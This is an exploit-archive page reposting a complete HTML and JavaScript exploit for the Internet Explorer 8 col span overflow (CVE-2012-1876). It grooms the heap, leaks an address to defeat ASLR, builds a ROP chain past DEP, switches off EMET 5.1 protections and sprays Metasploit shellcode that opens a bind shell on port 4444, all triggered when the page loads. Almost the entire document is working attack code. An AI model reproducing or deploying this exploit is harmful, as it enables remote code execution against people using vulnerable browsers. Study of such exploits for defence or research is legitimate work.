Internet Explorer 8 Fixed Col Span ID full ASLR, DEP and EMET 5.1 bypass
CVE
Category
Price
Severity
CVE-2012-1876
CWE-Undefined
Not specified
High
Author
Risk
Exploitation Type
Date
Not specified
High
Remote
2014-11-18
CPE
cpe:cpe:/a:microsoft:internet_explorer:8.0
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2014110125 <!--
** Internet Explorer 8 Fixed Col Span ID full ASLR, DEP and EMET 5.1 bypass
** Exploit Coded by sickness || EMET 5.1 bypass by ryujin
** http://www.offensive-security.com/vulndev/disarming-and-bypassing-emet-5-1/
** Affected Software: Internet Explorer 8
** Vulnerability: Fixed Col Span ID
** CVE: CVE-2012-1876
** Tested on Windows 7 (x86) - IE 8.0.7601.17514 & EMET 5.1
-->
<html>
<body>
<div id="evil"></div>
<table style="table-layout:fixed" ><col id="132" width="41" span="9" > </col></table>
<script language='javascript'>
function strtoint(str) {
return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}
var free = "EEEE";
while ( free.length < 500 ) free += free;
var string1 = "AAAA";
while ( string1.length < 500 ) string1 += string1;
var string2 = "BBBB";
while ( string2.length < 500 ) string2 += string2;
var fr = new Array();
var al = new Array();
var bl = new Array();
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
for (var i=0; i < 500; i+=2) {
fr[i] = free.substring(0, (0x100-6)/2);
al[i] = string1.substring(0, (0x100-6)/2);
bl[i] = string2.substring(0, (0x100-6)/2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i=200; i<500; i+=2 ) {
fr[i] = null;
CollectGarbage();
}
function heapspray(cbuttonlayout) {
CollectGarbage();
var rop = cbuttonlayout + 4161; // RET
var rop = rop.toString(16);
var rop1 = rop.substring(4,8);
var rop2 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 11360; // POP EBP
var rop = rop.toString(16);
var rop3 = rop.substring(4,8);
var rop4 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 111675; // XCHG EAX,ESP
var rop = rop.toString(16);
var rop5 = rop.substring(4,8);
var rop6 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 12377; // POP EBX
var rop = rop.toString(16);
var rop7 = rop.substring(4,8);
var rop8 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 642768; // POP EDX
var rop = rop.toString(16);
var rop9 = rop.substring(4,8);
var rop10 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 12201; // POP ECX --> Changed
var rop = rop.toString(16);
var rop11 = rop.substring(4,8);
var rop12 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 5504544; // Writable location
var rop = rop.toString(16);
var writable1 = rop.substring(4,8);
var writable2 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 12462; // POP EDI
var rop = rop.toString(16);
var rop13 = rop.substring(4,8);
var rop14 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 12043; // POP ESI --> changed
var rop = rop.toString(16);
var rop15 = rop.substring(4,8);
var rop16 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 63776; // JMP EAX
var rop = rop.toString(16);
var jmpeax1 = rop.substring(4,8);
var jmpeax2 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 85751; // POP EAX
var rop = rop.toString(16);
var rop17 = rop.substring(4,8);
var rop18 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 4936; // VirtualProtect()
var rop = rop.toString(16);
var vp1 = rop.substring(4,8);
var vp2 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 454843; // MOV EAX,DWORD PTR DS:[EAX]
var rop = rop.toString(16);
var rop19 = rop.substring(4,8);
var rop20 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 234657; // PUSHAD
var rop = rop.toString(16);
var rop21 = rop.substring(4,8);
var rop22 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 408958; // PUSH ESP
var rop = rop.toString(16);
var rop23 = rop.substring(4,8);
var rop24 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 2228408; // POP ECX
var rop = rop.toString(16);
var rop25 = rop.substring(4,8);
var rop26 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 1586172; // POP EAX
var rop = rop.toString(16);
var rop27 = rop.substring(4,8);
var rop28 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 1589179; // MOV EAX,DWORD PTR [EAX]
var rop = rop.toString(16);
var rop29 = rop.substring(4,8);
var rop30 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 1884912; // PUSH EAX
var rop = rop.toString(16);
var rop31 = rop.substring(4,8);
var rop32 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 2140694; // ADD EAX,ECX
var rop = rop.toString(16);
var rop33 = rop.substring(4,8);
var rop34 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 2364867; // MOV DWORD PTR [EAX],ECX
var rop = rop.toString(16);
var rop35 = rop.substring(4,8);
var rop36 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 1816868; // MOV DWORD PTR DS:[ESI],EAX
var rop = rop.toString(16);
var rop37 = rop.substring(4,8);
var rop38 = rop.substring(0,4); // } RET
var getmodulew = cbuttonlayout + 4840; // GetModuleHandleW
var getmodulew = getmodulew.toString(16);
var getmodulew1 = getmodulew.substring(4,8);
var getmodulew2 = getmodulew.substring(0,4); // } RET
var rop = cbuttonlayout + 3621437; // MOV EAX,EDX
var rop = rop.toString(16);
var rop41 = rop.substring(4,8);
var rop42 = rop.substring(0,4); // } RET
var shellcode = unescape("%u4444");
while (shellcode.length < 100)
shellcode = shellcode + shellcode;
var shellcode = shellcode.substr(0, 46);
shellcode+= unescape("%u"+rop1+"%u"+rop2); // RETN
shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP # RETN
shellcode+= unescape("%u"+rop5+"%u"+rop6); // XCHG EAX,ESP # RETN
// EMET disable part 0x01 annihilate ROP protections
// Implement the Tachyon detection grid to overcome the Romulan cloaking device.
shellcode+= unescape("%u"+rop27+"%u"+rop28); // POP EAX # RETN
shellcode+= unescape("%u"+getmodulew1+"%u"+getmodulew2); // GetModuleHandleW Ptr
shellcode+= unescape("%u"+rop29+"%u"+rop30); // MOV EAX,DWORD PTR [EAX] # RETN
shellcode+= unescape("%u"+rop31+"%u"+rop32); // PUSH EAX # RETN
shellcode+= unescape("%u"+rop25+"%u"+rop26); // POP ECX # RETN
shellcode+= unescape("%u5f3c%u07d2"); // EMET_STRING_PTR (GetModuleHandle argument)
shellcode+= unescape("%u7372%u0006"); // Offset to "decoding helper" 0x67372
shellcode+= unescape("%u"+rop33+"%u"+rop34); // ADD EAX,ECX # RETN (Get the address of the "decoding helper")
shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP # RETN
shellcode+= unescape("%u5e84%u07d2"); // Set EBP to successfully return from the "decoding helper"
shellcode+= unescape("%u"+rop31+"%u"+rop32); // PUSH EAX # RETN Call the "decoding helper"
shellcode+= unescape("%u0000%u0000"); // Compensate for function epilogue
shellcode+= unescape("%u0000%u0000"); // Compensate for function epilogue
shellcode+= unescape("%u0000%u0000"); // Compensate for function epilogue
shellcode+= unescape("%u0000%u0000"); // Compensate for function epilogue
shellcode+= unescape("%u"+rop41+"%u"+rop42); // MOV EAX,EDX # RETN
shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI # RETN
shellcode+= unescape("%u5f38%u07d2"); // MEM_ADDRESS_PTR (Store CONFIG_STRUCT here for later on)
shellcode+= unescape("%u"+rop37+"%u"+rop38); // MOV DWORD PTR DS:[ESI],EAX
shellcode+= unescape("%u"+rop25+"%u"+rop26); // POP ECX # RETN
shellcode+= unescape("%u01b8%u0000"); // offset to NtProtectVirtualMemory unhooked
shellcode+= unescape("%u"+rop33+"%u"+rop34); // ADD EAX,ECX # RETN (Get the address of NtProtectVirtualMemory)
shellcode+= unescape("%u"+rop29+"%u"+rop30); // MOV EAX,DWORD PTR [EAX] # RETN
shellcode+= unescape("%u"+rop31+"%u"+rop32); // PUSH EAX # RETN
shellcode+= unescape("%u"+rop27+"%u"+rop28); // POP EAX # RETN
shellcode+= unescape("%uffff%uffff"); // ProcessHandle
shellcode+= unescape("%u5f38%u07d2"); // *BaseAddress
shellcode+= unescape("%u5f34%u07d2"); // NumberOfBytesToProtect
shellcode+= unescape("%u0040%u0000"); // NewAccessProtection
shellcode+= unescape("%u5f30%u07d2"); // OldAccessProtection
shellcode+= unescape("%u5f38%u07d2"); // Reget pointer
shellcode+= unescape("%u"+rop29+"%u"+rop30); // MOV EAX,DWORD PTR [EAX] # RETN
shellcode+= unescape("%u"+rop25+"%u"+rop26); // POP ECX # RETN
shellcode+= unescape("%u0558%u0000"); // Offset to EMET mitigations switch
shellcode+= unescape("%u"+rop33+"%u"+rop34); // ADD EAX,ECX # RETN
shellcode+= unescape("%u"+rop25+"%u"+rop26); // POP ECX # RETN
shellcode+= unescape("%u0000%u0000"); // NULL
shellcode+= unescape("%u"+rop35+"%u"+rop36); // MOV DWORD PTR [EAX],ECX # RETN
// Performing a standard Kumeh maneuver ... (VirtualProtect mona chain)
shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
shellcode+= unescape("%u"+rop7+"%u"+rop8); // POP EBX
shellcode+= unescape("%u1024%u0000"); // Size 0x00001024
shellcode+= unescape("%u"+rop9+"%u"+rop10); // POP EDX
shellcode+= unescape("%u0040%u0000"); // 0x00000040
shellcode+= unescape("%u"+rop11+"%u"+rop12); // POP ECX
shellcode+= unescape("%u"+writable1+"%u"+writable2); // Writable Location
shellcode+= unescape("%u"+rop13+"%u"+rop14); // POP EDI
shellcode+= unescape("%u"+rop1+"%u"+rop2); // RET
shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI
shellcode+= unescape("%u"+jmpeax1+"%u"+jmpeax2);// JMP EAX
shellcode+= unescape("%u"+rop17+"%u"+rop18); // POP EAX
shellcode+= unescape("%u"+vp1+"%u"+vp2); // VirtualProtect()
shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX]
shellcode+= unescape("%u"+rop21+"%u"+rop22); // PUSHAD
shellcode+= unescape("%u"+rop23+"%u"+rop24); // PUSH ESP
// Store various pointers here
shellcode+= unescape("%u9090%u9090"); // NOPs
shellcode+= unescape("%u9090%u18eb"); // NOPs
shellcode+= unescape("%u4242%u4242"); // OldAccessProtection
shellcode+= unescape("%u0564%u0000"); // Size for NtVirtualProtectMemory
shellcode+= unescape("%u4141%u4141"); // Store BaseAddress address on the *stack*
shellcode+= "EMET"; // EMET string
shellcode+= unescape("%u0000%u0000"); // EMET string
shellcode+= unescape("%u9090%u9090"); // NOPs
shellcode+= unescape("%u9090%u9090"); // NOPs
// Store various pointers here
// EMET disable part 0x02 annihilate EAF/EAF+ by calling NtSetContextThread
// MOV EAX,DWORD PTR DS:[076D10BCH]
// MOV EAX,DWORD PTR DS:[007D25F48H]
// MOV ESI,DWORD PTR [EAX+518H]
// SUB ESP,2CCH
// MOV DWORD PTR [ESP],10010H
// MOV EDI,ESP
// MOV ECX,2CCH
// ADD EDI,4
// SUB ECX,4
// XOR EAX,EAX
// REP STOS BYTE PTR ES:[EDI]
// PUSH ESP
// PUSH 0FFFFFFFEH
// CALL ESI
shellcode+= unescape("%u38a1%ud25f%u8b07%u18b0%u0005%u8100%uccec" +
"%u0002%uc700%u2404%u0010%u0001%ufc8b%uccb9" +
"%u0002%u8300%u04c7%ue983%u3304%uf3c0%u54aa" +
"%ufe6a%ud6ff");
shellcode+= unescape("%u9090%u9090"); // NOPs
shellcode+= unescape("%u9090%u9090"); // NOPs
// EMET disable part 0x02 end
// Bind shellcode on 4444 :)
// msf > generate -t js_le
// windows/shell_bind_tcp - 342 bytes
// http://www.metasploit.com
// VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false,
// EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
// I would keep the shellcode the same size for better reliability :)
shellcode+= unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b" +
"%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a" +
"%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf" +
"%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001" +
"%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18" +
"%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31" +
"%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03" +
"%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +
"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489" +
"%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a" +
"%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32" +
"%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900" +
"%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050" +
"%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7" +
"%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857" +
"%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff" +
"%u53d5%u5753%u7468%u3bec%uffe1%u57d5%uc789" +
"%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389" +
"%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7" +
"%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650" +
"%u5656%u5646%u564e%u5356%u6856%ucc79%u863f" +
"%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d" +
"%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff" +
"%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72" +
"%u006a%uff53%u41d5");
// Total spray should be 1000
var padding = unescape("%u9090");
while (padding.length < 1000)
padding = padding + padding;
var padding = padding.substr(0, 1000 - shellcode.length);
shellcode+= padding;
while (shellcode.length < 100000)
shellcode = shellcode + shellcode;
var onemeg = shellcode.substr(0, 64*1024/2);
for (i=0; i<14; i++) {
onemeg += shellcode.substr(0, 64*1024/2);
}
onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
var spray = new Array();
for (i=0; i<100; i++) {
spray[i] = onemeg.substr(0, onemeg.length);
}
}
function leak(){
var leak_col = document.getElementById("132");
leak_col.width = "41";
leak_col.span = "19";
}
function get_leak() {
var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13));
str_addr = str_addr - 1410704;
var hex = str_addr.toString(16);
//alert(hex);
setTimeout(function(){heapspray(str_addr)}, 50);
}
function trigger_overflow(){
var evil_col = document.getElementById("132");
evil_col.width = "1312272"; // 0x07D25E40
evil_col.span = "44";
}
setTimeout(function(){leak()}, 400);
setTimeout(function(){get_leak()},450);
setTimeout(function(){trigger_overflow()}, 700);
</script>
</body>
</html>
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